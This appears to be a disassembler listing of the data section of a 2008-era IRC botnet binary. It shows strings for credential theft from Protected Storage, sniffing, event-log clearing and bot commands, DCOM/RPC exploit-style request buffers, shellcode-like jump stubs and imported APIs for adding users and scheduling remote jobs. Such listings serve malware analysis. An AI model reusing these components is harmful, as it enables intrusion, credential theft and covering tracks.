aSCreateProcess	db '%s Create process thread.',0 ; DATA XREF: sub_403B2C+1819o
		align 10h
aSProcs		db '%s Procs',0         ; DATA XREF: sub_403B2C+1714o
		align 4
aBkill		db 'BKill',0            ; DATA XREF: sub_403B2C+1586o
					; sub_403B2C+15ACo
		align 4
aSBkillStarted	db '%s BKill Started',0 ; DATA XREF: sub_403B2C+150Bo
		align 4
aSBkillThread_	db '%s BKill thread.',0 ; DATA XREF: sub_403B2C+14F2o
		align 4
aSUptimeS	db '%s UPTime: (%s)',0  ; DATA XREF: sub_403B2C+143Bo
aSSSS		db '%s %s (%s) %s',0    ; DATA XREF: sub_403B2C+13D4o
					; sub_403B2C+13FDo
		align 4
a_BuiltJun10200	db '. Built: Jun 10 2008.',0 ; DATA XREF: sub_403B2C+13B8o
					; sub_403B2C+13E1o
		align 4
aSRunningOnSI	db '%s Running on: [%s:%i]',0 ; DATA XREF: sub_403B2C+12A4o
					; sub_403B2C+135Bo ...
		align 4
aSPatcherStarte	db '%s Patcher Started',0 ; DATA XREF: sub_403B2C+11EDo
		align 10h
aPatcher	db 'Patcher',0          ; DATA XREF: sub_403B2C+11A8o
					; sub_403B2C+11CEo
aSPatcherThread	db '%s Patcher thread.',0 ; DATA XREF: sub_403B2C+1148o
		align 4
aSPstore	db '%s PStore',0        ; DATA XREF: sub_403B2C+E41o
		align 4
aPstore		db 'PStore',0           ; DATA XREF: sub_403B2C+DA0o
					; sub_403B2C+EA1o ...
		align 10h
aSStarted_	db '%s started.',0      ; DATA XREF: sub_403B2C+CF5o
aSSniffer_	db '%s Sniffer.',0      ; DATA XREF: sub_403B2C+C90o
aSniffer_	db 'Sniffer.',0         ; DATA XREF: sub_403B2C+C39o
					; sub_403B2C+C5Bo
		align 4
aSThreadList	db '%s Thread list',0   ; DATA XREF: sub_403B2C+B4Do
		align 4
aThreadList_0	db 'Thread list',0      ; DATA XREF: sub_403B2C+AC1o
					; sub_403B2C+BABo ...
aSAdvapi_dllNot	db '%s Advapi.dll not loaded',0 ; DATA XREF: sub_403B2C+970o
					; sub_415DBD+71o
		align 4
aSFailedToClear	db '%s Failed to clear syslogs',0 ; DATA XREF: sub_403B2C+961o
		align 4
aSClearedDDSysl	db '%s Cleared [%d/%d] syslogs',0 ; DATA XREF: sub_403B2C+94Do
		align 4
aSystem		db 'system',0           ; DATA XREF: sub_403B2C+8E6o
		align 4
aSecurity	db 'security',0         ; DATA XREF: sub_403B2C+8DCo
					; .text:0043CC8Co
		align 4
aApplication	db 'application',0      ; DATA XREF: sub_403B2C+8D2o
asc_435B04:				; DATA XREF: sub_403B2C:loc_404375o
					; sub_403B2C+E19o
		unicode	0, <*>,0
a6		db '$6',0               ; DATA XREF: sub_403B2C+7A7o
		align 4
a5		db '$5',0               ; DATA XREF: sub_403B2C+793o
		align 10h
a4		db '$4',0               ; DATA XREF: sub_403B2C+77Co
		align 4
a3		db '$3',0               ; DATA XREF: sub_403B2C+768o
		align 4
a2		db '$2',0               ; DATA XREF: sub_403B2C+754o
		align 4
a1		db '$1',0               ; DATA XREF: sub_403B2C+740o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_403B2C+72Co
		align 4
aUser_1		db '$user',0            ; DATA XREF: sub_403B2C+716o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_403B2C+6F9o
aCS		db '%c%s',0             ; DATA XREF: sub_403B2C+6DCo
		align 4
aSAddedAliasS	db '%s Added Alias: %s',0 ; DATA XREF: sub_403B2C+64Fo
		align 10h
aS_0		db ' %s',0              ; DATA XREF: sub_403B2C+606o
					; sub_403B2C+1002o ...
aS_1		db '%s',0               ; DATA XREF: sub_403B2C+5E2o
					; sub_403B2C+FDEo ...
		align 4
aD_SS		db '%d. %s = %s',0      ; DATA XREF: sub_403B2C+559o
aSAliasList	db '%s [Alias list]',0  ; DATA XREF: sub_403B2C+504o
aSServersListed	db '%s Servers Listed',0 ; DATA XREF: sub_403B2C+4D3o
		align 4
aISDSS		db '[%i: %s:%d%s,%s]',0 ; DATA XREF: sub_403B2C+4ABo
		align 4
aSServerList	db '%s [Server List]:',0 ; DATA XREF: sub_403B2C+464o
		align 10h
aSCurrentServer	db '%s: [Current Server]: [%i:%s:%d%s]',0 ; DATA XREF: sub_403B2C+436o
		align 4
aSsl		db ' (SSL)',0           ; DATA XREF: sub_403B2C+405o
					; sub_403B2C+48Do
		align 4
asc_435BDC	db '";',0               ; DATA XREF: sub_403B2C+3B0o
		align 10h
aX2_2x		db '\x%2.2X',0          ; DATA XREF: sub_403B2C+322o
aSCipherText	db '%s (Cipher text): "',0 ; DATA XREF: sub_403B2C+2FDo
aSecure		db 'Secure',0           ; DATA XREF: sub_403B2C:loc_403D77o
					; sub_403B2C+7325o ...
		align 4
aStopped_	db 'Stopped.',0         ; DATA XREF: sub_403B2C:loc_403D6Bo
					; sub_403B2C+423Eo ...
		align 10h
off_435C10	dd offset byte_444D43	; DATA XREF: sub_403B2C:loc_403D5Fo
					; sub_403B2C+3DA0o
dword_435C14	dd 3453h						; sub_403B2C+122Eo ...
aUpdate		db 'Update',0           ; DATA XREF: sub_403B2C+1F4o
					; sub_403B2C+3FB7o ...
		align 10h
aDownload	db 'Download',0         ; DATA XREF: sub_403B2C+1E0o
					; sub_403B2C+3DF5o ...
		align 4
aDriveList	db 'Drive list',0       ; DATA XREF: sub_403B2C+125o
		align 4
aProcs		db 'Procs',0            ; DATA XREF: sub_403B2C+BEo
					; sub_403B2C+1663o ...
		align 10h
aSniffer	db 'Sniffer',0          ; DATA XREF: sub_403B2C+A8o
					; sub_403B2C+D4Bo
aThreadList	db 'Thread List',0      ; DATA XREF: sub_403B2C+58o
		align 8
byte_435C58	db 1			; DATA XREF: sub_40AF5C+25r
		align 2
		dw 2
		dd 80004h, 200010h, 800040h
dword_435C68	dd 800000h, 400000h, 200000h, 100000h, 80000h, 40000h
					; DATA XREF: sub_40AF5C+C6r
					; sub_40AF5C+D8r
		dd 20000h, 10000h, 8000h, 4000h, 2000h,	1000h, 800h, 400h
		dd 200h, 100h, 80h, 40h, 20h, 10h, 8, 4, 2, 1
byte_435CC8	db 38h			; DATA XREF: sub_40AF5C:loc_40AF6Cr
		db 30h,	28h, 20h
		dd 81018h, 21293139h, 1091119h,	222A323Ah, 20A121Ah, 232B333Bh
		dd 262E363Eh, 60E161Eh,	252D353Dh, 50D151Dh, 242C343Ch
		dd 40C141Ch, 30B131Bh
dword_435D00	dd 6040201h, 0E0C0A08h,	1513110Fh, 1C1B1917h, 170A100Dh
					; DATA XREF: sub_40AF5C+6Ar
		dd 1B020400h, 914050Eh,	30B1216h, 60F0719h, 10C131Ah
dword_435D28	dd 241E3328h, 271D362Eh, 2F202C32h, 3726302Bh, 292D3421h
					; DATA XREF: sub_40AF5C:loc_40B012r
		dd 1F1C2331h
dword_435D40	dd 1010400h, 0						; sub_40B1D8+148r
		dd 10000h, 1010404h, 1010004h, 10404h, 4, 10000h, 400h
		dd 1010400h, 1010404h, 400h, 1000404h, 1010004h, 1000000h
		dd 4, 404h, 2 dup(1000400h), 2 dup(10400h), 2 dup(1010000h)
		dd 1000404h, 10004h, 2 dup(1000004h), 10004h, 0
		dd 404h, 10404h, 1000000h, 10000h, 1010404h, 4,	1010000h
		dd 1010400h, 2 dup(1000000h), 400h, 1010004h, 10000h, 10400h
		dd 1000004h, 400h, 4, 1000404h,	10404h,	1010404h, 10004h
		dd 1010000h, 1000404h, 1000004h, 404h, 10404h, 1010400h
		dd 404h, 2 dup(1000400h), 0
		dd 10004h, 10400h, 0
		dd 1010004h
dword_435E40	dd 80108020h						; sub_40B1D8+189r
		dd 80008000h, 8000h, 108020h, 100000h, 20h, 80100020h
		dd 80008020h, 80000020h, 80108020h, 80108000h, 80000000h
		dd 80008000h, 100000h, 20h, 80100020h, 108000h,	100020h
		dd 80008020h, 0
		dd 80000000h, 8000h, 108020h, 80100000h, 100020h, 80000020h
		dd 0
		dd 108000h, 8020h, 80108000h, 80100000h, 8020h,	0
		dd 108020h, 80100020h, 100000h,	80008020h, 80100000h, 80108000h
		dd 8000h, 80100000h, 80008000h,	20h, 80108020h,	108020h
		dd 20h,	8000h, 80000000h, 8020h, 80108000h, 100000h, 80000020h
		dd 100020h, 80008020h, 80000020h, 100020h, 108000h, 0
		dd 80008000h, 8020h, 80000000h,	80100020h, 80108020h, 108000h
dword_435F40	dd 208h							; sub_40B1D8+152r
		dd 8020200h, 0
		dd 8020008h, 8000200h, 0
		dd 20208h, 8000200h, 20008h, 2 dup(8000008h), 20000h, 8020208h
		dd 20008h, 8020000h, 208h, 8000000h, 8,	8020200h, 200h
		dd 20200h, 8020000h, 8020008h, 20208h, 8000208h, 20200h
		dd 20000h, 8000208h, 8,	8020208h, 200h,	8000000h, 8020200h
		dd 8000000h, 20008h, 208h, 20000h, 8020200h, 8000200h
		dd 0
		dd 200h, 20008h, 8020208h, 8000200h, 8000008h, 200h, 0
		dd 8020008h, 8000208h, 20000h, 8000000h, 8020208h, 8, 20208h
		dd 20200h, 8000008h, 8020000h, 8000208h, 208h, 8020000h
		dd 20208h, 8, 8020008h,	20200h
dword_436040	dd 802001h						; sub_40B1D8+193r
		dd 2 dup(2081h), 80h, 802080h, 800081h,	800001h, 2001h
		dd 0
		dd 2 dup(802000h), 802081h, 81h, 0
		dd 800080h, 800001h, 1,	2000h, 800000h,	802001h, 80h, 800000h
		dd 2001h, 2080h, 800081h, 1, 2080h, 800080h, 2000h, 802080h
		dd 802081h, 81h, 800080h, 800001h, 802000h, 802081h, 81h
		dd 2 dup(0)
		dd 802000h, 2080h, 800080h, 800081h, 1,	802001h, 2 dup(2081h)
		dd 80h,	802081h, 81h, 1, 2000h,	800001h, 2001h,	802080h
		dd 800081h, 2001h, 2080h, 800000h, 802001h, 80h, 800000h
		dd 2000h, 802080h
dword_436140	dd 100h							; sub_40B1D8+164r
		dd 2080100h, 2080000h, 42000100h, 80000h, 100h,	40000000h
		dd 2080000h, 40080100h,	80000h,	2000100h, 40080100h, 42000100h
		dd 42080000h, 80100h, 40000000h, 2000000h, 2 dup(40080000h)
		dd 0
		dd 40000100h, 2	dup(42080100h),	2000100h, 42080000h, 40000100h
		dd 0
		dd 42000000h, 2080100h,	2000000h, 42000000h, 80100h, 80000h
		dd 42000100h, 100h, 2000000h, 40000000h, 2080000h, 42000100h
		dd 40080100h, 2000100h,	40000000h, 42080000h, 2080100h
		dd 40080100h, 100h, 2000000h, 42080000h, 42080100h, 80100h
		dd 42000000h, 42080100h, 2080000h, 0
		dd 40080000h, 42000000h, 80100h, 2000100h, 40000100h, 80000h
		dd 0
		dd 40080000h, 2080100h,	40000100h
dword_436240	dd 20000010h						; sub_40B1D8+1A2r
		dd 20400000h, 4000h, 20404010h,	20400000h, 10h,	20404010h
		dd 400000h, 20004000h, 404010h,	400000h, 20000010h, 400010h
		dd 20004000h, 20000000h, 4010h,	0
		dd 400010h, 20004010h, 4000h, 404000h, 20004010h, 10h
		dd 2 dup(20400010h), 0
		dd offset loc_40400F+1
		dd 20404000h, 4010h, 404000h, 20404000h, 20000000h, 20004000h
		dd 10h,	20400010h, 404000h, 20404010h, 400000h,	4010h
		dd 20000010h, 400000h, 20004000h, 20000000h, 4010h, 20000010h
		dd 20404010h, 404000h, 20400000h, 404010h, 20404000h, 0
		dd 20400010h, 10h, 4000h, 20400000h, 404010h, 4000h, 400010h
		dd 20004010h, 0
		dd 20404000h, 20000000h, 400010h, 20004010h
dword_436340	dd 200000h						; sub_40B1D8+16Br
		dd 4200002h, 4000802h, 0
		dd 800h, 4000802h, 200802h, 4200800h, 4200802h,	200000h
		dd 0
		dd 4000002h, 2,	4000000h, 4200002h, 802h, 4000800h, 200802h
		dd 200002h, 4000800h, 4000002h,	4200000h, 4200800h, 200002h
		dd 4200000h, 800h, 802h, 4200802h, 200800h, 2, 4000000h
		dd 200800h, 4000000h, 200800h, 200000h,	2 dup(4000802h)
		dd 2 dup(4200002h), 2, 200002h,	4000000h, 4000800h, 200000h
		dd 4200800h, 802h, 200802h, 4200800h, 802h, 4000002h, 4200802h
		dd 4200000h, 200800h, 0
		dd 2, 4200802h,	0
		dd 200802h, 4200000h, 800h, 4000002h, 4000800h,	800h, 200002h
dword_436440	dd 10001040h						; sub_40B1D8+1ACr
		dd 1000h, 40000h, 10041040h, 10000000h,	10001040h, 40h
		dd 10000000h, 40040h, 10040000h, 10041040h, 41000h, 10041000h
		dd 41040h, 1000h, 40h, 10040000h, 10000040h, 10001000h
		dd 1040h, 41000h, 40040h, 10040040h, 10041000h,	1040h
		dd 2 dup(0)
		dd 10040040h, 10000040h, 10001000h, 41040h, 40000h, 41040h
		dd 40000h, 10041000h, 1000h, 40h, 10040040h, 1000h, 41040h
		dd 10001000h, 40h, 10000040h, 10040000h, 10040040h, 10000000h
		dd 40000h, 10001040h, 0
		dd 10041040h, 40040h, 10000040h, 10040000h, 10001000h
		dd 10001040h, 0
		dd 10041040h, 2	dup(41000h), 2 dup(1040h), 40040h, 10000000h
		dd 10041000h
dword_436540	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_436590	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40B427+E8o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4368F4	dd 20h,	0			dd 20h,	5C005Ch, 0
off_436908	dd offset dword_43005C	; DATA XREF: sub_40B427+122o
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_436948	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 3 dup(0)
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
off_436A28	dd offset word_580046	; DATA XREF: sub_40B427+31o
					; sub_40B427+72o
		dd offset loc_42004D+1
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004D+1
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
dword_436A5C	dd 158h		dword_436A60	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_436AAC	dd 3000005h, 10h, 5 dup(0)dword_436AC8	dd 10005h, 2 dup(0)		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_436B10	dd 0				dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_436B44:				; DATA XREF: .text:0040B908o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h


loc_436B50:				; DATA XREF: .text:0040B8B3o
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_436B5C:				; DATA XREF: .text:0040B957o
		jmp	short loc_436B6E
; ---------------------------------------------------------------------------
		jmp	short loc_436B79
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_436B64:				; DATA XREF: .text:0040B9B2o
		jmp	short near ptr word_436B6A
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_436B6A	dw 0			; CODE XREF: .text:loc_436B64j
; ---------------------------------------------------------------------------


loc_436B6C:				; DATA XREF: .text:0040B9D3o
		jmp	short near ptr word_436B72
; ---------------------------------------------------------------------------


loc_436B6E:				; CODE XREF: .text:loc_436B5Cj
					; .text:loc_436B8Cj
		jmp	short loc_436B74
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_436B72	dw 0			; CODE XREF: .text:loc_436B6Cj
; ---------------------------------------------------------------------------


loc_436B74:				; CODE XREF: .text:loc_436B6Ej
					; DATA XREF: .text:0040B9F7o
		jmp	short near ptr loc_436B79+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_436B79:				; CODE XREF: .text:00436B5Ej
					; .text:loc_436B74j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_436B7C	dd offset loc_41005C	; DATA XREF: .text:0040BA46o
		dd 2 dup(0)
dword_436B88	dd 77F33723h	; ---------------------------------------------------------------------------


loc_436B8C:				; DATA XREF: .text:0040B990o
		jmp	short loc_436B6E
; ---------------------------------------------------------------------------
		dw 7FFDh
dword_436B90	dd 18759Fh	dword_436B94	dd 1001C59h	dword_436B98	dd 1B0B0Bh	dword_436B9C	dd 6EBh		dword_436BA0	dd 0F4EBh	aPathremovefile	db 'PathRemoveFileSpecA',0 ; DATA XREF: sub_40BB43+CDAo
aShlwapi_dll	db 'shlwapi.dll',0      ; DATA XREF: sub_40BB43:loc_40C811o
aGetuserprofile	db 'GetUserProfileDirectoryA',0 ; DATA XREF: sub_40BB43+CAAo
		align 10h
aUserenv_dll	db 'userenv.dll',0      ; DATA XREF: sub_40BB43:loc_40C7E2o
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: sub_40BB43+C7Bo
		align 4
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: sub_40BB43:loc_40C7B3o
aGetprocessmemo	db 'GetProcessMemoryInfo',0 ; DATA XREF: sub_40BB43+C1Fo
		align 4
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_40BB43+C12o
		align 4
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_40BB43+C05o
		align 4
aGetmodulebasen	db 'GetModuleBaseNameA',0 ; DATA XREF: sub_40BB43+BF8o
		align 10h
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_40BB43+BF0o
		align 4
aPsapi_dll	db 'psapi.dll',0        ; DATA XREF: sub_40BB43:loc_40C726o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40BB43+BAEo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40BB43+BA6o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40BB43:loc_40C6DCo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40BB43+B54o
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40BB43+B47o
		align 10h
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40BB43+B3Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40BB43+B32o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40BB43:loc_40C668o
aGetnetworkpara	db 'GetNetworkParams',0 ; DATA XREF: sub_40BB43:loc_40C640o
		align 4
aGetudptable	db 'GetUdpTable',0      ; DATA XREF: sub_40BB43+ABDo
aGettcptable	db 'GetTcpTable',0      ; DATA XREF: sub_40BB43+AB0o
aGetiftable	db 'GetIfTable',0       ; DATA XREF: sub_40BB43+AA3o
		align 4
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40BB43+A96o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40BB43+A8Eo
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40BB43:loc_40C5C0o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40BB43+A48o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40BB43+A40o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40BB43:loc_40C576o
		align 10h
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40BB43+9B6o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40BB43+9A9o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40BB43+99Co
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40BB43+98Fo
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40BB43+982o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40BB43+975o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40BB43+968o
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40BB43+95Bo
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40BB43+94Eo
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40BB43+941o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40BB43+939o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40BB43:loc_40C46Bo
		align 4
aMozilla5_0Comp	db 'Mozilla/5.0 (compatible)',0 ; DATA XREF: sub_40BB43+8FBo
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40BB43+889o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40BB43+87Co
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40BB43+86Fo
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40BB43+862o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40BB43+855o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40BB43+848o
		align 4
aFtpputfilea	db 'FtpPutFileA',0      ; DATA XREF: sub_40BB43+83Bo
aFtpgetfilea	db 'FtpGetFileA',0      ; DATA XREF: sub_40BB43+82Eo
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40BB43+821o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40BB43+814o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40BB43+807o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40BB43+7FFo
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40BB43:loc_40C331o
aShutdown	db 'shutdown',0         ; DATA XREF: sub_40BB43+6B1o
		align 4
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40BB43+6A4o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40BB43+697o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40BB43+68Ao
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40BB43+67Do
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40BB43+670o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40BB43+663o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40BB43+656o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40BB43+649o
		align 10h
aListen		db 'listen',0           ; DATA XREF: sub_40BB43+63Co
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40BB43+62Fo
		align 10h
aBind		db 'bind',0             ; DATA XREF: sub_40BB43+627o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40BB43+615o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_40BB43+608o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40BB43+5FBo
		align 4
aSend		db 'send',0             ; DATA XREF: sub_40BB43+5EEo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40BB43+5E1o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40BB43+5D4o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40BB43+5C7o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_40BB43+5BAo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40BB43+5ADo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40BB43+5A0o
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_40BB43+593o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40BB43+586o
aSocket		db 'socket',0           ; DATA XREF: sub_40BB43+579o
		align 10h
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40BB43+56Co
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40BB43+55Fo
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40BB43+552o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40BB43+545o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40BB43+538o
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40BB43+52Bo
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40BB43+523o
		align 10h
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40BB43:loc_40C055o
		align 4
aCloseeventlog	db 'CloseEventLog',0    ; DATA XREF: sub_40BB43+4D5o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_40BB43+4C8o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_40BB43:loc_40C003o
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40BB43:loc_40BFE8o
		align 4
aSetservicestat	db 'SetServiceStatus',0 ; DATA XREF: sub_40BB43+415o
		align 10h
aRegisterservic	db 'RegisterServiceCtrlHandlerA',0 ; DATA XREF: sub_40BB43+408o
aUnlockserviced	db 'UnlockServiceDatabase',0 ; DATA XREF: sub_40BB43+3FBo
		align 4
aChangeservicec	db 'ChangeServiceConfig2A',0 ; DATA XREF: sub_40BB43+3EEo
		align 4
aQueryservicelo	db 'QueryServiceLockStatusA',0 ; DATA XREF: sub_40BB43+3E1o
aLockservicedat	db 'LockServiceDatabase',0 ; DATA XREF: sub_40BB43+3D4o
aImpersonatelog	db 'ImpersonateLoggedOnUser',0 ; DATA XREF: sub_40BB43+3C7o
aStartservicect	db 'StartServiceCtrlDispatcherA',0 ; DATA XREF: sub_40BB43+3BAo
aCreateservicea	db 'CreateServiceA',0   ; DATA XREF: sub_40BB43+3ADo
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40BB43+3A0o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40BB43+393o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40BB43+386o
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40BB43+379o
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40BB43+36Co
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40BB43+35Fo
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40BB43+352o
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40BB43:loc_40BE8Do
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40BB43+312o
		align 4
